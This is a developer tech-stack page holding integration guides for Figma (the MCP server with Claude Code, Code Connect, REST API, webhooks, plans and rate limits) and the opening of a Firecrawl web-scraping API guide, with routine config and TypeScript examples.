██╔══╝  ██║██║   ██║██║╚██╔╝██║██╔══██║
██║     ██║╚██████╔╝██║ ╚═╝ ██║██║  ██║
╚═╝     ╚═╝ ╚═════╝ ╚═╝     ╚═╝╚═╝  ╚═╝

Figma Integration Guide

Focus: Design-to-code and code-to-design workflows from Claude Code using the official Figma MCP server, plus the REST API, Webhooks V2, Code Connect, and the Plugin API.

Overview

Figma is codeAmani's design source of truth. Its official Figma MCP server gives Claude Code direct access to design files. Claude can read component specs and variables, generate code from a frame, write native Figma content back to the canvas, and keep Code Connect mappings current. The REST API covers automation that has no agent in the loop: CI token sync, asset export, and webhooks.

The MCP works in both directions, and codeAmani uses both:

flowchart LR
    A["Figma design file"] -->|"read"| B["Figma MCP server"]
    B --> C["Claude Code"]
    C -->|"generate"| D["React component"]
    C -->|"use_figma writes"| A
    D -->|"link back"| E["Code Connect template"]
    E --> A

Naming: Figma's docs now call it the "Figma MCP server". The older name "Dev Mode MCP server" is gone from the docs, though some blog posts still use it.

Official Documentation

Resource URL
Figma Developers https://developers.figma.com
Figma MCP server https://developers.figma.com/docs/figma-mcp-server/
MCP tools and prompts https://developers.figma.com/docs/figma-mcp-server/tools-and-prompts/
MCP rate limits and access https://developers.figma.com/docs/figma-mcp-server/rate-limits-access/
Remote server install https://developers.figma.com/docs/figma-mcp-server/remote-server-installation/
Desktop server install https://developers.figma.com/docs/figma-mcp-server/local-server-installation/
Write to canvas (use_figma) https://developers.figma.com/docs/figma-mcp-server/write-to-canvas/
Code to canvas (generate_figma_design) https://developers.figma.com/docs/figma-mcp-server/code-to-canvas/
Figma skills for MCP https://help.figma.com/hc/en-us/articles/39166810751895
REST API https://developers.figma.com/docs/rest-api/
REST rate limits https://developers.figma.com/docs/rest-api/rate-limits/
REST scopes https://developers.figma.com/docs/rest-api/scopes/
REST changelog https://developers.figma.com/docs/rest-api/changelog/
Webhooks V2 https://developers.figma.com/docs/rest-api/webhooks/
Code Connect https://developers.figma.com/docs/code-connect/
Code Connect template files https://developers.figma.com/docs/code-connect/template-files/
Plugin API https://developers.figma.com/docs/plugins/

Plans, seats and what they unlock (verified 2026-10-20)

Seat type matters more than plan here. It sets your MCP and REST rate limits, decides whether you can use Dev Mode and Code Connect, and decides whether you can write to the canvas.

Seat prices (USD per seat per month, from figma.com/pricing; Organization and Enterprise bill annually):

Plan Full Dev Collab View
Starter Free (limited) — — Free
Professional $16 $12 $3 Free
Organization $55 $25 $5 Free
Enterprise $90 $35 $5 Free

Monthly AI credits per seat: Professional Full seats get 3,000, Organization 3,500 and Enterprise 4,250. Dev and Collab seats get 500. Starter gets 150 a day, capped at 500 a month. Figma Make and Figma Sites (beta) come with Full seats.

MCP server tool-call limits (they apply to read tools):

Seat Starter Professional Organization Enterprise
View, Collab up to 20 / month up to 20 / month up to 20 / month up to 20 / month
Dev, Full — 200 / day, 10 / min 200 / day, 15 / min 600 / day, 20 / min

What each feature needs:

Capability Requirement
Remote MCP (read) Any plan or seat (rate-limited as above)
Desktop MCP server Dev or Full seat on Professional, Education, Organization, Government or Enterprise, plus the desktop app
use_figma and other canvas writes Remote server, Professional or higher plan, edit access to the file (Full seat to write outside drafts)
Code Connect (CLI or UI) Dev or Full seat on Professional, Organization or Enterprise. Professional allows one active library and one active framework.
Variables REST API Enterprise only. GET needs any org member with view access. POST needs a Full seat with edit access (guests can't use it).
Plan access tokens Organization or Enterprise

Recommendation for codeAmani: give engineers who drive Claude Code a Dev seat on Professional ($12). It unlocks 200 MCP reads a day, Code Connect and Dev Mode. Only people who need canvas writes (use_figma) through the agent need a Full seat.


MCP server setup for Claude Code

The remote server lives at https://mcp.figma.com/mcp. It uses OAuth ("Allow access" in the browser), so there's no token header, and it doesn't need the desktop app. It's the only server that can write to the canvas.

Option A: the Figma plugin for Claude Code. This bundles the MCP server config plus Figma's 11 agent skills:

claude plugin install figma@claude-plugins-official
# restart Claude Code → /plugin → right-arrow to "Installed" → select figma → Enter → Enter
# → browser opens → "Allow access" → /plugin again shows figma connected

If the install command fails, your org may block plugin installs. Use option B and add the skills manually.

Option B: add the server manually. This gives you the MCP tools without the skills:

claude mcp add --transport http figma https://mcp.figma.com/mcp                # this project only
claude mcp add --scope user --transport http figma https://mcp.figma.com/mcp   # all projects
# new session → /mcp → figma → Authenticate → "Allow access"

.mcp.json equivalent (see examples/mcp-config.json):

{
  "mcpServers": {
    "figma": { "type": "http", "url": "https://mcp.figma.com/mcp" }
  }
}

Figma skills come with the plugin. Without it, download them from Figma's mcp-server-guide GitHub repo:

Skill Use it for
figma-use Load before every use_figma call. Writes frames, components, variables and auto layout.
figma-generate-design Builds full screens from your design-system components
figma-generate-library Builds or updates a design-system library from the codebase, in phases
figma-create-new-file Load before create_new_file
figma-code-connect Authors Code Connect template files and mappings
figma-code-workflows Imports a local project as a code layer, a Make file, or design layers
figma-generate-diagram FigJam flowcharts, sequence, ER, state and Gantt diagrams
figma-use-figjam / figma-use-slides Writes to FigJam boards and Slides decks
figma-swiftui SwiftUI to and from Figma
figma-spec Reads and writes Figma Specs (open beta)

The installed plugin also ships extras such as figma-implement-motion, figma-shaders and figma-generative-plugins. Run /plugin to see what your copy has.

Desktop server (limited)

In the Figma desktop app, open a Design file, switch to Dev Mode, and click Enable desktop MCP server in the right sidebar. It listens on http://127.0.0.1:3845/mcp.

claude mcp add --transport http figma-desktop http://127.0.0.1:3845/mcp

The desktop server is selection-based and can't write to the canvas or send UI to Figma. Figma "strongly recommends" the remote server. Figma for Government supports only the desktop server.

figma-developer-mcp@0.13.2 is a community stdio server, not Figma's. It reads through the REST API with a personal access token (PAT), so it uses up your REST rate limits (Tier 1: 10–20/min on Dev/Full seats). Use it only where OAuth isn't possible.

claude mcp add figma-framelink -- npx -y figma-developer-mcp --figma-api-key=${FIGMA_ACCESS_TOKEN} --stdio

MCP tools (current inventory)

The remote server needs a link to a frame or layer. The desktop server reads your current selection. Copy a link to the frame (right-click → Copy link to selection) and paste it into the prompt.

Read (these count toward rate limits):

Tool What it does Server
get_design_context The workhorse. Returns code plus design context for a layer (React + Tailwind by default) both
get_screenshot Screenshot of one node per call both
get_metadata Lightweight XML outline (ids, names, sizes). Use it on big frames, then fetch the parts you need. both
get_variable_defs Variables and styles used in the selection (your tokens) both
get_code_connect_map Existing Code Connect mappings for the instances in a selection both
get_figjam FigJam diagram as XML plus screenshots both
get_motion_context Animation data plus CSS/Motion snippets (call after get_design_context) both
search_design_system Searches libraries for components, variables and styles remote
get_libraries Lists added and available libraries remote
download_assets Exports nodes or original images, up to 20 per call remote
whoami Your identity, plans and seats (also returns the planKey) remote
list_shaders, get_shader, list_file_shaders Shader effects and fills both
list_generative_plugins, get_generative_plugin Generative plugins remote

Write:

Tool What it does
use_figma Runs Plugin API JavaScript in the file to create, edit and inspect content across Design, FigJam, Slides and Specs. Beta, free during the beta, "will eventually become a usage-based paid feature."
create_new_file Blank Design, FigJam or Slides file in your drafts
generate_figma_design Sends live web UI (production, staging or localhost) to Figma as layers. Only some MCP clients support it, and it doesn't count toward rate limits.
html_to_figma Converts a self-contained HTML document (up to 50 MB) into layers
upload_assets Uploads PNG, JPG, GIF, WebP or SVG images (10 MB each, up to 60 per call)
generate_image Text-to-image. Spends AI credits, and the links expire after 7 days.
generate_diagram FigJam diagram from a description or Mermaid
add_code_connect_map Maps a Figma component to a code component
send_code_to_figma Imports a local project (.zip, .tar.gz or .tgz) as a Make file or code layer. The first upload is free, and later prompts spend credits.
create_shader, update_shader, create_generative_plugin, update_generative_plugin Need the matching skill plus a planKey from whoami

Weave (weave_*, 9 tools) needs a paid standalone Weave account and spends Weave credits. The old list_shader_effects, list_shader_fills, get_shader_effect and get_shader_fill tools are deprecated in favor of list_shaders and get_shader. The prompt create_design_system_rules writes a rules file that steers code generation toward your codebase.

Figma Make context. Paste a Make file URL into the prompt, and the server exposes the Make project's files as MCP resources the agent can pull into its context. This works on any plan with view access, as long as the client supports MCP resources.


Design → code workflow

sequenceDiagram
    participant You
    participant Claude as "Claude Code"
    participant MCP as "Figma MCP"
    You->>Claude: "Implement this frame (link)"
    Claude->>MCP: "get_metadata (if the frame is large)"
    Claude->>MCP: "get_design_context"
    Claude->>MCP: "get_variable_defs"
    MCP-->>Claude: "code, specs, tokens, Code Connect snippets"
    Claude->>MCP: "get_screenshot"
    Claude->>Claude: "write the component with project tokens"
  1. Paste a link to the frame, for example https://www.figma.com/design/<FILE_KEY>/Design-System?node-id=1-23.
  2. If the frame is large, call get_metadata first, then get_design_context on the sub-nodes you need. Big frames are slow and can time out.
  3. Call get_variable_defs and map the tokens to Tailwind theme keys. Never hard-code hex values.
  4. Call get_screenshot to check the result visually.
  5. If a component has a Code Connect mapping, get_design_context returns your real component's usage instead of generated markup. That's the main reason to keep Code Connect current.

Every read in this loop counts against your seat's limit. A typical component costs about 3–5 calls, so a Professional Dev seat can do roughly 40–60 components a day.

Slash command: /figma

.claude/commands/figma.md:

Implement the Figma design at: $ARGUMENTS

1. If the frame is large, call `get_metadata` first and work node-by-node.
2. Call `get_design_context` and `get_variable_defs` for the node in the link.
3. Reuse existing components (check Code Connect snippets in the response); map
   variables to our Tailwind theme tokens — no hard-coded hex or px.
4. Call `get_screenshot` and compare your output against it.
5. Write a typed React component (named export) under `components/`, plus a story.

Code → design (write to canvas)

Three remote-only tools cover this direction:

Tool Direction Output
create_new_file scaffold A blank Design, FigJam or Slides file
use_figma code or intent → canvas Native components, variables, frames and auto layout, built through the Plugin API
generate_figma_design running app → canvas Flat layers captured from the browser, for review

Workflow:

  1. Load figma-create-new-file, then call create_new_file (skip this if a target file already exists).
  2. Load figma-use. Skipping this skill causes hard-to-debug failures. For full screens, also load figma-generate-design.
  3. Call search_design_system and get_variable_defs so the new work reuses real tokens and components.
  4. Call use_figma in small increments. Each call's output is capped at 20 KB.
  5. Review the result and clean it up by hand. Figma calls the output "beta quality."

use_figma limits:


Code Connect (@figma/code-connect@2.0.2)

Code Connect maps a Figma component to your real component. Dev Mode and the MCP's get_design_context then show real usage instead of generated CSS.

v2.0.0 (18 Aug 2026) was a breaking release. Framework parsers (React .figma.tsx with figma.connect(...), plus HTML, SwiftUI and Compose) no longer get updates. In v2 only figma connect migrate and figma connect unpublish accept parser files. Every other command exits and tells you to migrate. Template files (.figma.ts / .figma.js) are the only maintained format. If you must stay on parsers, pin @figma/code-connect@1. The current release is 2.0.2 (14 Oct 2026). figma connect create now always generates a template file, and on Professional the publish command confirms your one library and one framework.

Correction from the last review: the previous version of this guide showed a v2 example built on export default figma.connect(Button, {...}) with JSX. That's not the template format. Template files declare the node in a // url= comment, read props from figma.selectedInstance, and export { example: figma.code`...` }.

npm install --save-dev @figma/code-connect@2.0.2

figma.config.json:

{
  "codeConnect": {
    "include": ["**/*.figma.ts"],
    "label": "React",
    "language": "jsx"
  }
}

Add "types": ["@figma/code-connect/figma-types"] to compilerOptions in tsconfig.json to get types for the figma module.

components/Button.figma.ts (a full version is in examples/Button.figma.ts; it's type-checked and parses with the 2.0.2 CLI):

// url=https://www.figma.com/design/<FILE_KEY>/Design-System?node-id=<NODE_ID>
// source=src/components/Button.tsx
// component=Button
import figma from 'figma'

const instance = figma.selectedInstance
const label = instance.getString('Label')
const disabled = instance.getBoolean('Disabled')
const variant = instance.getEnum('Variant', { Primary: 'primary', Secondary: 'secondary' })

export default {
  example: figma.code`<Button variant="${variant}"${disabled ? ' disabled' : ''}>${label}</Button>`,
  imports: ['import { Button } from "@/components/Button"'],
  id: 'button',
  metadata: { nestable: true },
}

Instance API: getString, getBoolean, getEnum, getInstanceSwap, getSlot, findInstance, findText, findConnectedInstances and executeTemplate().example. There are also language tags besides figma.code: figma.tsx, figma.html, figma.swift and figma.kotlin.

Commands:

npx figma connect parse --file components/Button.figma.ts    # local validation, no network
npx figma connect preview components/Button.figma.ts         # render what Dev Mode will show
npx figma connect publish                                    # uses FIGMA_ACCESS_TOKEN (or --token)
npx figma connect migrate --outDir codeconnect/              # convert legacy .figma.tsx parser files

For icon sets and other large groups of similar components, use batch files (*.figma.batch.json plus one template). Add the glob to include. The Code Connect UI (in Figma, with a GitHub integration) is an alternative to the CLI. Connections published from the CLI show up there, but you can only edit them from the CLI. On a Professional plan, the first publish sets the single active framework. Switching it later (Admin → Settings → Resources → Code Connect) deactivates the old mappings, and the MCP stops returning them.


REST API

The base URL is https://api.figma.com. Files, nodes and images are still under /v1, and webhooks under /v2. Authenticate with the X-Figma-Token: <PAT or plan token> header, or Authorization: Bearer <oauth token> for OAuth apps. For types, install @figma/rest-api-spec@0.45.0 (types only, generated from Figma's OpenAPI spec).

Tokens

Token Who / plan Max lifetime Notes
Personal access token (PAT) Any user. Created under Settings → Security → Generate new token. 90 days (no non-expiring option anymore) Scoped at creation. It acts as you across every plan you belong to, so it isn't least-privilege.
Plan access token Organization or Enterprise admins (GA 23 Jul 2026, MFA required) 365 days, refreshable (the old secret keeps working for 24 h) Not tied to a person. Can be allowlisted to specific files, folders or teams. Can't call file_variables:write, file_comments:write, file_code_connect:write, /v1/me or /v1/oembed. A separate "Figma CLI token" type covers Code Connect publishing.
OAuth 2 app Third-party apps refresh flow Apps created before 23 Sep 2025 had to be re-published by 17 Nov 2025. Unpublished apps drop to draft and can't call the API.

Scopes: use the granular ones. files:read is deprecated (it still works). projects:read and project_metadata:read are deprecated in favor of folders:read and folder_metadata:read, which came with the 10 Aug 2026 folders endpoints. Common choices:

Rate limits (in effect since 17 Nov 2025; leaky bucket)

Limits are per minute and apply per user, per plan, per app (OAuth), or per token (plan tokens). For a PAT, the limits of the plan that owns the requested file apply.

Tier Endpoints View / Collab (all plans) Dev / Full: Pro / Org / Ent
1 GET file, GET file nodes, GET image up to 20 / month 10 / 15 / 20
2 Comments, dev resources, image fills, folders/projects lists, GET variables, versions, webhooks up to 5 25 / 50 / 100
3 Components & styles, file/folder/project metadata, users, library analytics, POST variables, activity logs up to 10 50 / 100 / 150

A 429 response carries:

Run CI token syncs as a Dev or Full seat holder. A View seat PAT gets about 20 file reads a month.

Export nodes (typed, with 429 handling)

Full runnable version: examples/export-node-images.mts.

import type { GetImagesResponse } from "@figma/rest-api-spec";

const res = await fetch(
  `https://api.figma.com/v1/images/${fileKey}?ids=1:23&format=png&scale=2`,
  { headers: { "X-Figma-Token": process.env.FIGMA_ACCESS_TOKEN! } },
);
if (res.status === 429) {
  const wait = Number(res.headers.get("Retry-After") ?? "60"); // seconds
  // back off `wait` seconds, then retry
}
const { images, err } = (await res.json()) as GetImagesResponse;
// images["1:23"] is a short-lived signed URL; download it right away

Node ids use - in URLs (node-id=1-23) and : in API calls (1:23).

Variables REST API (Enterprise only)

The endpoints are GET /v1/files/:key/variables/local, GET /v1/files/:key/variables/published and POST /v1/files/:key/variables. Recent additions are VariableComposedColor and the COLOR_OPACITY scope (17 Sep 2026), plus extended collections and overrides. On Professional or Organization, pull tokens with the MCP's get_variable_defs or a plugin instead.

Webhooks V2

Webhooks live at POST/GET https://api.figma.com/v2/webhooks and attach to a context: a team (20 per team), a folder (5 per folder) or a file (3 per file). File-webhook totals per plan are 150 (Professional), 300 (Organization) and 600 (Enterprise).

Event When it fires
PING When the webhook is created
FILE_UPDATE Within 30 minutes of editing inactivity
FILE_DELETE When a file is deleted
FILE_VERSION_UPDATE When a named version is created
LIBRARY_PUBLISH On a library publish. One publish can emit several events.
FILE_COMMENT When someone comments
DEV_MODE_STATUS_UPDATE When a layer's Dev Mode status changes

Verification: there's no HMAC signature. You set a passcode when you create the webhook, and Figma echoes it in every payload. Compare it with a constant-time check and reply 400 on a mismatch, before doing any work. GET calls redact the passcode, so store your copy in the secrets vault. Return 200 fast. Non-200 or slow responses are retried 3 times (after 5 min, 30 min and 3 h), and Figma doesn't disable endpoints that fail often.

// app/api/webhooks/figma/route.ts — full version: examples/webhook-route.ts
import { timingSafeEqual } from "node:crypto";
import type { WebhookFileUpdatePayload, WebhookPingPayload } from "@figma/rest-api-spec";

export async function POST(req: Request): Promise<Response> {
  const body = (await req.json()) as WebhookPingPayload | WebhookFileUpdatePayload;
  const a = Buffer.from(String(body.passcode));
  const b = Buffer.from(process.env.FIGMA_WEBHOOK_PASSCODE ?? "");
  if (b.length === 0 || a.length !== b.length || !timingSafeEqual(a, b)) {
    return new Response("Invalid passcode", { status: 400 });
  }
  // enqueue work keyed on body.event_type, then:
  return Response.json({ ok: true });
}

Other recent REST additions:


Plugin API (brief)

Plugins run inside the editor through the global figma object, and use_figma uses the same API. Typings come from @figma/plugin-typings@1.142.0. New plugins must set "documentAccess": "dynamic-page" in manifest.json and use the async APIs, such as figma.getNodeByIdAsync and loadAsync for pages. Declare networkAccess.allowedDomains, using ["none"] if the plugin needs no network. editorType takes any of figma, figjam, dev, slides and buzz, except that you can't combine figjam with dev. Plugins can't read team-library assets that haven't been imported into the file.


Environment Variables

Real secrets only. Store them in the secrets vault and .env.local, and never in client bundles:

FIGMA_ACCESS_TOKEN=figd_...        # PAT (≤90-day expiry) or plan access token — REST API + `figma connect publish`
FIGMA_WEBHOOK_PASSCODE=...         # passcode you set on POST /v2/webhooks

Non-secret settings:

Name Example Purpose
FIGMA_FILE_KEY AbCdEfGhIjKl Default design-system file for scripts
FIGMA_TEAM_ID 1234567890 Team id for library and webhook context
DO_NOT_TRACK 1 Opts figma connect publish out of preflight telemetry (added in 2.0.2)

The MCP server itself needs no env var, because it uses OAuth.


GitHub Actions: design-token sync

# .github/workflows/design-tokens.yml
name: Sync Figma tokens
on:
  schedule: [{ cron: "0 9 * * 1" }]   # Mondays
  workflow_dispatch:
jobs:
  sync:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@<pinned-sha>   # pin Actions by SHA (codeAmani SLSA policy)
      - uses: actions/setup-node@<pinned-sha>
        with: { node-version: "22" }
      - run: npm ci
      - name: Fetch tokens
        env:
          FIGMA_ACCESS_TOKEN: ${{ secrets.FIGMA_ACCESS_TOKEN }}   # Dev/Full-seat PAT or plan token
          FIGMA_FILE_KEY: ${{ vars.FIGMA_FILE_KEY }}
        run: node scripts/sync-tokens.mjs
      - name: Open PR with updated tokens
        run: |
          git diff --quiet src/tokens/ || echo "tokens changed: open a PR rather than pushing to main"

The Variables REST API is Enterprise-only. On Professional, sync-tokens should read published styles from the file JSON (GET /v1/files/:key), or the team should export variables with a plugin. A PAT expires within 90 days, so put a rotation reminder in the calendar. Use a plan access token (up to 365 days) on Organization or Enterprise.


Common Use Cases

Use case Approach
Design → React component get_design_context + get_variable_defs + get_screenshot
Huge frame get_metadata first, then design context per child node
Component library sync search_design_system / get_libraries
Design tokens MCP get_variable_defs, or the Variables REST API (Enterprise)
Push a coded component into Figma figma-use skill → use_figma
Capture a running page for design review generate_figma_design
Code Connect template files + npx figma connect publish, or add_code_connect_map
FigJam diagrams generate_diagram or the figma-generate-diagram skill
CI asset export REST GET /v1/images (Tier 1, so mind the rate limits)

Troubleshooting

Issue Fix
429 from MCP after a handful of calls You're on a View or Collab seat (20 calls a month). Get a Dev or Full seat.
REST 429 with X-Figma-Rate-Limit-Type: low The PAT owner has a View or Collab seat. Use a Dev/Full owner or a plan token, and honour Retry-After.
403 Forbidden The token is missing a scope (for example file_content:read) or has no access to the file, or the PAT has expired (90-day max).
get_design_context is slow, times out or returns huge output Call get_metadata first, then fetch smaller nodes
Remote server ignores "my selection" The remote server needs a link. Selection-based prompts only work on the desktop server.
use_figma fails or produces junk Load the figma-use skill first, work in smaller increments, and check that you have edit access on a Professional or higher plan
Images missing after use_figma Expected. Add them with upload_assets or generate_image.
figma connect says to migrate You're on v2 with .figma.tsx parser files. Run npx figma connect migrate, or pin @figma/code-connect@1.
Code Connect snippets vanished from MCP output On Professional, someone changed the active framework or library, and the old mappings are now Deactivated
Variables API returns 403 It's Enterprise-only, and POST also needs a Full seat with edit access
Webhook events ignored Check the passcode. Return 200 quickly, because slow responses count as failures.
MCP won't connect The endpoint is https://mcp.figma.com/mcp. Re-run /mcp → figma → Authenticate.

codeAmani notes

Official docs:

Firecrawl Integration Guide

Technology: firecrawl · Category: tooling · Last reviewed: 2026-10-20

Source: https://tech-stack.codeamanilabs.org/guide/firecrawl

Insight:

Firecrawl is the web-context API for AI agents: give it a URL, a search query, a file, or a data-provider call and get back clean markdown or schema-shaped JSON, with proxies, anti-bot, JS rendering and caching handled. Core verbs on the v2 API: scrape, search, map, crawl, batchScrape, parse, interact, agent, plus monitors and the Alexandria catalogue of 100+ third-party data providers (run through scrape). /extract is now in maintenance mode: use the json format on scrape for a known URL, or agent when Firecrawl must find the sources. Billing is per credit (1 credit = 1 page; the LLM formats add +4). Scrape, search, parse and interact also work keyless under per-IP daily caps; hitting those caps is the cue to sign up for a free key (1,000 credits/month) or connect the MCP server with OAuth. Verified 2026-10-20: npm firecrawl / @mendable/firecrawl-js 4.50.0, PyPI firecrawl-py / firecrawl 4.53.2, firecrawl-mcp 3.33.4, firecrawl-aisdk 0.13.1.

███████╗██╗██████╗ ███████╗ ██████╗██████╗  █████╗ ██╗    ██╗██╗
██╔════╝██║██╔══██╗██╔════╝██╔════╝██╔══██╗██╔══██╗██║    ██║██║
█████╗  ██║██████╔╝█████╗  ██║     ██████╔╝███████║██║ █╗ ██║██║
██╔══╝  ██║██╔══██╗██╔══╝  ██║     ██╔══██╗██╔══██║██║███╗██║██║
██║     ██║██║  ██║███████╗╚██████╗██║  ██║██║  ██║╚███╔███╔╝███████╗
╚═╝     ╚═╝╚═╝  ╚═╝╚══════╝ ╚═════╝╚═╝  ╚═╝╚═╝  ╚═╝ ╚══╝╚══╝ ╚══════╝

Firecrawl Integration Guide

Focus: Turning URLs, web searches, files and data-provider calls into clean, LLM-ready markdown or schema-shaped JSON, with proxies, anti-bot, JS rendering and caching handled for you. The managed alternative to hand-rolled Playwright/Puppeteer for RAG and agents.

Verification note (2026-10-20): Endpoints, SDK method names, credit costs, plan limits and MCP URLs below come from docs.firecrawl.dev (fetched as .md via sitemap.xml), firecrawl.dev/pricing, firecrawl.dev/changelog, the npm and PyPI registries, and the SDK 4.50.0 type definitions. Biggest changes since the 2026-08-23 review: /extract is in maintenance mode (SDK marks it @deprecated; use scrape + json or agent), concurrency was cut on paid plans (Standard 50→25, Growth 100→50, Scale 150→100), pay-as-you-go now tops up in 5 USD increments, a keyless tier exists for scrape/search/parse/interact, Alexandria (third-party data providers through scrape) launched on 2026-09-22, and map costs 1 credit per call, not per URL. Re-check firecrawl.dev/pricing before quoting a client.

Overview

Firecrawl is a context API for AI agents. Hand it a URL and it returns the page as markdown, HTML, a screenshot, links, images, brand tokens, a product record, or JSON matching your schema. It already handles rotating proxies, anti-bot challenges, JavaScript/SPA rendering, PDFs and Office files, and a cache layer.

For codeAmani, Firecrawl is the "web → context" lever: it feeds external pages into a RAG pipeline (pairs with the pinecone / pgvector guides), lets an agent read a page it was asked about, pulls structured facts off sites that have no API, and, through Alexandria, reaches official data providers (SEC filings, FRED, Apollo, and more) without a second API key.

When Firecrawl wins, and when raw Playwright/Cheerio wins

flowchart TD
  A["Need data from the web"] --> B{"Is there an official<br/>API or data provider?"}
  B -->|"yes, we have a key"| C["Call it directly"]
  B -->|"yes, via Alexandria"| D["firecrawl.scrape({ alexandria })"]
  B -->|"no"| E{"LLM-ready output?<br/>anti-bot? many sites?"}
  E -->|"yes: RAG / agents"| F["Firecrawl<br/>scrape · search · map · crawl"]
  E -->|"no: 1 static site,<br/>full DOM control"| G["Cheerio / Playwright<br/>self-hosted"]
  F --> H{"Know the URL?"}
  H -->|"yes"| I["scrape + json format"]
  H -->|"no"| J["agent (spark-2)"]
Tool Reach for it when… Cost shape
Firecrawl RAG ingestion, agent web-browsing, many sites, JS-heavy pages, markdown/JSON output, no proxy/anti-bot infra to run Per credit (managed)
Cheerio One known static site, server-rendered HTML, a few selectors, zero budget Free (your CPU)
Playwright / Puppeteer Full browser control, custom auth flows, screenshots of your own app, happy to run proxies yourself Free (your infra)

Firecrawl also sells a managed browser (Interact / Browser Sandbox) with a CDP URL, for when you need Playwright control without running Chromium.

Primary use cases

Official Documentation

Resource URL
Introduction https://docs.firecrawl.dev/introduction
Node SDK https://docs.firecrawl.dev/sdks/node
Python SDK https://docs.firecrawl.dev/sdks/python
CLI https://docs.firecrawl.dev/sdks/cli
Scrape (formats, caching, actions) https://docs.firecrawl.dev/features/scrape
Search https://docs.firecrawl.dev/features/search
Crawl https://docs.firecrawl.dev/features/crawl
Agent https://docs.firecrawl.dev/features/agent
Choosing the data extractor https://docs.firecrawl.dev/developer-guides/usage-guides/choosing-the-data-extractor
Alexandria (data providers) https://docs.firecrawl.dev/features/alexandria
Interact / Browser Sandbox https://docs.firecrawl.dev/features/interact
Monitoring https://docs.firecrawl.dev/features/monitoring
Parse (files) https://docs.firecrawl.dev/features/parse
Billing & credits https://docs.firecrawl.dev/billing
Rate limits (incl. keyless) https://docs.firecrawl.dev/rate-limits
Errors & retry guidance https://docs.firecrawl.dev/api-reference/errors
Webhook security https://docs.firecrawl.dev/webhooks/security
MCP server https://docs.firecrawl.dev/mcp-server
Vercel AI SDK tools https://docs.firecrawl.dev/developer-guides/llm-sdks-and-frameworks/vercel-ai-sdk
Changelog https://www.firecrawl.dev/changelog

Setup

Get an API key at firecrawl.dev/app/api-keys (keys start with fc-). Both SDKs read FIRECRAWL_API_KEY from the environment, or take it explicitly.

# .env.local (never commit)
FIRECRAWL_API_KEY=fc-...
FIRECRAWL_WEBHOOK_SECRET=...

Non-secret settings:

Setting Default Notes
FIRECRAWL_API_URL https://api.firecrawl.dev Point the SDK or local MCP server at a self-hosted instance
HTTP_STREAMABLE_SERVER unset true makes the local firecrawl-mcp serve Streamable HTTP on :3000/mcp instead of stdio
FIRECRAWL_NO_SEARCH_FEEDBACK / FIRECRAWL_NO_ENDPOINT_FEEDBACK unset 1 stops the local MCP server registering its feedback tools

Node / TypeScript

npm install firecrawl@4.50.0
# @mendable/firecrawl-js@4.50.0 is the same code under the older scoped name
import { Firecrawl } from "firecrawl";

const firecrawl = new Firecrawl({
  apiKey: process.env.FIRECRAWL_API_KEY,
  maxRetries: 3, // also: timeoutMs, backoffFactor, apiUrl
});

const doc = await firecrawl.scrape("https://firecrawl.dev", {
  formats: ["markdown"],
  onlyMainContent: true,
});
console.log(doc.markdown);

Python

pip install firecrawl-py==4.53.2   # the docs now say `pip install firecrawl`; same 4.53.2 release
from firecrawl import Firecrawl  # AsyncFirecrawl is also exported

firecrawl = Firecrawl(api_key="fc-YOUR-API-KEY")  # or omit to read FIRECRAWL_API_KEY

doc = firecrawl.scrape("https://firecrawl.dev", formats=["markdown"], only_main_content=True)
print(doc.markdown)

Node uses camelCase options (onlyMainContent, scrapeOptions, maxCredits); Python uses snake_case (only_main_content, scrape_options, max_credits). The REST API is camelCase.

Keyless mode (no API key)

Both SDKs, the CLI and the REST API can run without a key for a small set of endpoints. This is what an agent uses before anyone has signed up, and it is easy to outgrow.

Surface Works keyless
Hosted MCP (https://mcp.firecrawl.dev/v2/mcp, no header) firecrawl_search, firecrawl_scrape, firecrawl_parse only
SDKs, CLI, REST scrape, search, interact, parse, plus the research / developer / government index searches
Needs a key crawl, map, batchScrape, extract, agent, monitors, Alexandria, everything else

Keyless calls are capped per IP address per day by two limits: a maximum number of requests and a maximum number of credits. Exceeding either returns 429 (the onboarding skill also mentions 403s, a signup_url / firecrawl.dev/k/... link, and MCP KEYLESS_* errors). Heavier operations (interact, JSON extraction) burn the credit cap faster. Calls from some networks (VPNs, proxies) are refused outright. Firecrawl does not publish the numeric daily caps, so do not design around them.

Upgrade path when keyless runs out:

  1. Free account (no card): 1,000 credits/month, 10 req/min on scrape/map/search, 2 concurrent browsers, and every core endpoint. The SDK/CLI pick up FIRECRAWL_API_KEY automatically; the CLI also has firecrawl login --browser.
  2. MCP: switch the connection from keyless to OAuth (https://mcp.firecrawl.dev/v2/mcp-oauth) or add Authorization: Bearer fc-... to the existing /v2/mcp entry. Either unlocks the full tool surface.
  3. Hobby (5,000 credits, 100 req/min, 5 browsers) once the free 1,000 credits are not enough; turn on pay-as-you-go with a monthly cap for bursts.

Core Endpoints

All endpoints live under https://api.firecrawl.dev/v2/ and authenticate with Authorization: Bearer fc-....

/scrape: one URL, file, or data-provider call → LLM-ready output

const page = await firecrawl.scrape("https://example.com/article", {
  formats: ["markdown", "links", { type: "screenshot", fullPage: true }],
  onlyMainContent: true,
  includeTags: ["article", "main"],
  excludeTags: ["nav", "footer", ".ad"],
  maxAge: 600_000, // accept a cached copy up to 10 minutes old
});
console.log(page.metadata?.statusCode, page.metadata?.scrapeId);

Check two status layers: the API call (HTTP 200 + success: true) and the target page (metadata.statusCode). A 403/404 from the target still comes back as a document and is billed.

Formats (request several at once; output keys match the format names):

Format Returns Extra credits
markdown, summary, html, rawHtml, links, images Page content in that shape 0
rawBase64 Original response body, Base64. Must be the only format 0
screenshot (fullPage, quality, viewport) Screenshot URL, expires after 24 h 0
branding Brand profile: colours, fonts, typography, spacing, components 0
product Deterministic product record (title, price, availability, variants), no LLM 0
json (schema and/or prompt) LLM extraction into your schema +4
question (question) LLM answer in answer +4
highlights (query) LLM-selected passages +4
query (prompt, mode: "freeform" | "directQuote") Answer in answer; marked @deprecated in SDK 4.50 in favour of question / highlights +4
audio / video Signed MP3 / video URL for supported sites (expires after 1 h) +4
changeTracking (modes: ["git-diff","json"]) Diff against the previous scrape; bypasses the cache 0 (+4 if JSON mode)

The SDK types also list attributes (CSS selector → attribute values) and menu (restaurant menus); they are not on the docs format list yet.

